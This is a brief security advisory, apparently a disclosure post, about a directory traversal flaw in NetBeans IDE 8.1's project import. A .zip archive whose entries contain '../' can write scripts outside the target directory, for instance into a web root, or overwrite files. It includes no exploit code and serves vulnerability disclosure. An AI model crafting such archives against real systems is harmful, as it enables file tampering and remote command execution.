Netbeans IDE v8.1

Vulnerability Type:
Import Directory Traversal

CVE Reference:

Vulnerability Details:

This was part of Oracle Critical Patch Update for October 2016.

Vulnerability in the NetBeans component of Oracle Fusion Middleware
(subcomponent: Project Import).
The supported version that is affected is 8.1. Easily exploitable
vulnerability allows high privileged attacker with logon
to the infrastructure where NetBeans executes to compromise NetBeans. While
the vulnerability is in NetBeans, attacks may significantly
impact additional products. Successful attacks of this vulnerability can
result in unauthorized update, insert or delete access to some
of NetBeans accessible data as well as unauthorized read access to a subset
of NetBeans accessible data and unauthorized ability to cause
a partial denial of service (partial DOS) of NetBeans.

Vulnerability in way Netbeans processes  ".zip" archives to be imported as
project. If a user imports a malicious project
containing "../" characters the import will fail, yet still process the
"../".  we can then place malicious scripts outside of
the target directory and inside web root if user is running a local server

It may be possible to then execute remote commands on the affected system
by later visiting the URL and access our script if that
web server is public facing, if it is not then it may still be subject to
abuse internally by internal malicious users. Moreover,
it is also possible to overwrite files on the system hosting vulnerable
versions of NetBeans IDE.
